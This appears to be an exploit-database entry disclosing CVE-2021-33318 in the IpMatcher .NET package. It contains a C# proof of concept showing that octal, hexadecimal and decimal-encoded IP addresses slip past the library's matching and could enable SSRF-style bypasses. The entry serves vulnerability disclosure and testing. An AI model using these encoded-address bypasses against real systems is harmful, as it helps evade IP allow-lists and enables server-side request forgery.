Lucene search

K
zdtSick Codes1337DAY-ID-37732
HistoryMay 16, 2022 - 12:00 a.m.

IpMatcher 1.0.4.1 Server-Side Request Forgery Vulnerability

2022-05-1600:00:00
Sick Codes
0day.today
192
exploit
ssrf
vulnerability
.net core
.net framework
validation
cve-2021-33318
ipmatcher
nuget
package
indeterminate
lfi
rfi
dos
macos
linux
windows
github
dotnet
matcher
ipv4
ipv6

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.002

Percentile

62.1%

IpMatcher versions 1.0.4.1 and below for .NET Core 2.0 and .NET Framework 4.5.2 incorrectly validates octal and hexadecimal input data which can lead to indeterminate server-side request forgery, local file inclusion, remote file inclusion, and denial of service vectors.

# Exploit Title: SSRF in .NET C# IpMatcher v1.0.4.1 and below NuGet package: CVE-2021-33318 IpMatcher v1.0.4.1 and below for .NET Core 2.0 and .NET Framework 4.5.2. incorrectly validates octal & hexadecimal input data, leading to indeterminate SSRF, LFI, RFI, and DoS vectors.
# Exploit Author: Kelly Kaoudis & Sick Codes
# Vendor Homepage: https://www.nuget.org/packages/IpMatcher/1.0.4.2
# Version: 1.0.4.1 and below
# Tested on: macOS, Linux, Windows
# CVE: CVE-2021-33318
# Reference: https://github.com/kaoudis/advisories/blob/main/0-2021.md
# Reference: https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-060.md

/* Author: Kelly Kaoudis
* License: GPLv3
*
* Requires:
* `dotnet add package IpMatcher --version 1.0.4.1`
*
* To run:
* `dotnet run`
*/

using System;
using IpMatcher;

namespace dotnet
{
    class PoC
    {
        private static void checkExists(Matcher matcher, string ip, string mask)
        {
            if (matcher.Exists(ip, mask))
            {
                Console.WriteLine("matches on " + ip + " / " + mask);
            }
            else
            {
                Console.WriteLine("DOES NOT match on " + ip + " / " + mask);
            }
        }

        private static void checkMatchExists(Matcher matcher, string ip)
        {
            if (matcher.MatchExists(ip))
            {
                Console.WriteLine("matches on " + ip);
            }
            else
            {
                Console.WriteLine("DOES NOT match on " + ip);
            }

        }

        private static void dumpMatcher(Matcher matcher)
        {
            Console.WriteLine("\nWhat is actually in the matcher now (if nothing follows on the next line, nothing)?");
            foreach (string addr in matcher.All())
            {
                Console.WriteLine("address from matcher: " + addr);
            }
            Console.WriteLine("");
        }

        static void Main(string[] args)
        {
            Console.WriteLine("Constructing a new IpMatcher#Matcher...");
            Matcher matcher = new Matcher();
            // nothing in the matcher yet
            dumpMatcher(matcher);

            Console.WriteLine("adding 192.31.196.0 / 0.0.0.0 (mask)");
            matcher.Add("192.31.196.0", "0.0.0.0");

            // contains 0.0.0.0 / 0.0.0.0 (incorrect)
            dumpMatcher(matcher);

            checkExists(matcher, "192.31.196.2", "0.0.0.0");
            checkExists(matcher, "192.31.196.1", "0.0.0.0");
            checkExists(matcher, "192.31.196.0", "0.0.0.0"); // should match but does not
            checkExists(matcher, "0.0.0.0", "255.0.0.0"); //should not match
            checkExists(matcher, "0.0.0.0", "0.0.0.0");

            checkMatchExists(matcher, "0.0.0.0");
            checkMatchExists(matcher, "192.31.196.0");
            checkMatchExists(matcher, "192.31.196.1");
            //checkMatchExists(matcher, "0192.031.0196.0"); throws parse exception and not sure why
            checkMatchExists(matcher, "0300.037.0304.0"); // octal for 192.31.196.0
            checkMatchExists(matcher, "0300.037.0304.01");
            checkMatchExists(matcher, "0300.036.0304.0"); // should not match but does
            checkMatchExists(matcher, "0100.0100.0100.0100"); // should not match but does

        //    checkMatchExists(matcher, "aaaaaaaaaa"); thankfully results in exception

            // results in invalid argument exception
           // if (matcher.MatchExists("0192.031.0196.02"))
           // {
           //     Console.WriteLine("gross! matches 0192.031.0196.02");
           // }

            Console.WriteLine("adding 192.168.0.0 / 255.0.0.0 (mask)");
            matcher.Add("192.168.0.0", "255.0.0.0");

            checkExists(matcher, "192.167.0.1", "255.0.0.0");
            checkExists(matcher, "192.168.0.0", "255.0.0.0");
            checkExists(matcher, "192.168.1.1", "255.0.0.0");
            checkMatchExists(matcher, "172.13.2.15");
            checkMatchExists(matcher, "010.1.1.1");
            checkMatchExists(matcher, "4.4.4.4");

            Console.WriteLine("adding 0300.055.0250.0 / 1.1.0.0 (mask)");
            matcher.Add("0300.055.0250.0", "1.1.0.0");

            checkExists(matcher, "192.45.168.0", "1.1.0.0");
            checkExists(matcher, "0300.055.0250.0", "0.0.0.0");
            checkExists(matcher, "0300.055.0250.0300", "1.1.0.0");
            checkExists(matcher, "0288.055.0250.0", "1.1.0.0");

            checkMatchExists(matcher, "2130706433");
            checkMatchExists(matcher, "017700000001");
            checkMatchExists(matcher, "3232235521");
            checkMatchExists(matcher, "3232235777");
            checkMatchExists(matcher, "0x7f.0x00.0x00.0x01");
            checkMatchExists(matcher, "0xc0.0xa8.0x00.0x14");

            Console.WriteLine("adding 0300.055.0250.0 / 0377.0.0.0 (mask)");
            matcher.Add("0300.055.0250.0", "0377.0.0.0");

            Console.WriteLine("adding 0250.0300.010.010 / 0.0.0.0 (mask)");
            matcher.Add("0250.0300.010.010", "0.0.0.0");

            Console.WriteLine("adding 0250.0300.010.010 / 010.010.010.0 (mask)");
            matcher.Add("0250.0300.010.010", "010.010.010.0");

            // anything ending in 8 or 9 doesn't work
            Console.WriteLine("adding 0172.057.0.0 / 0.0.0.0 (mask)");
            matcher.Add("0172.057.0.0", "0.0.0.0");

            Console.WriteLine("adding 0172.057.0.0 / 055.055.013.0 (mask)");
            matcher.Add("0172.057.0.0", "055.055.013.0");

         //   matcher.Add("08.09.0.0", "01.01.01.0"); fails as it should

            Console.WriteLine("adding 010.010.0172.0 / 0.0.0.0 (mask)");
            matcher.Add("010.010.0172.0", "0.0.0.0");

            Console.WriteLine("adding 010.010.0172.0 / 01.01.01.01 (mask)");
            matcher.Add("010.010.0172.0", "01.01.01.01");

            Console.WriteLine("adding 010.010.0172.0 / 010.010.0172.010 (mask)");
            matcher.Add("010.010.0172.0", "010.010.0172.010");

            Console.WriteLine("adding 010.010.0172.0 / 010.010.0.010 (mask)");
            matcher.Add("010.010.0172.0", "010.010.0.010");

            Console.WriteLine("adding 010.010.0172.0 / 010.010.0.010 (mask)");
            matcher.Add("010.010.0172.0", "010.010.0255.010");

            Console.WriteLine("adding 0xaa.0xaa.0xaa.0xaa / 0xaa.0xfe.0xfe.0xfe (mask)");
            matcher.Add("0xaa.0xaa.0xaa.0xaa", "0xfe.0xfe.0xfe.0xfe");

          //  fails with exception as it should as 0xfff is tooooo biggggg
          //  matcher.Add("0xfff.0xfff.0xfff.0x0", "0x0.0x0.0x0.0x0");

            Console.WriteLine("adding 0xf0.0x0.0x0.0x0 / 0xff.0x0.0x0.0x0 (mask)");
            matcher.Add("0xf0.0x0.0x0.0x0", "0xff.0x0.0x0.0x0");

            // now contains the following:
            // 0.0.0.0/0.0.0.0
            // 192.0.0.0/255.0.0.0
            // 0.1.0.0/1.1.0.0
            // 192.0.0.0/0377.0.0.0
            // 8.0.8.0/010.010.010.0
            // 40.45.0.0/055.055.013.0
            // 8.8.122.0/010.010.0172.010
            // 8.8.0.0/010.010.0.010
            // 8.8.40.0/010.010.0255.010
            // 170.170.170.170/0xfe.0xfe.0xfe.0xfe
            // 240.0.0.0/0xff.0x0.0x0.0x0
            dumpMatcher(matcher);
        }
    }
}

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.002

Percentile

62.1%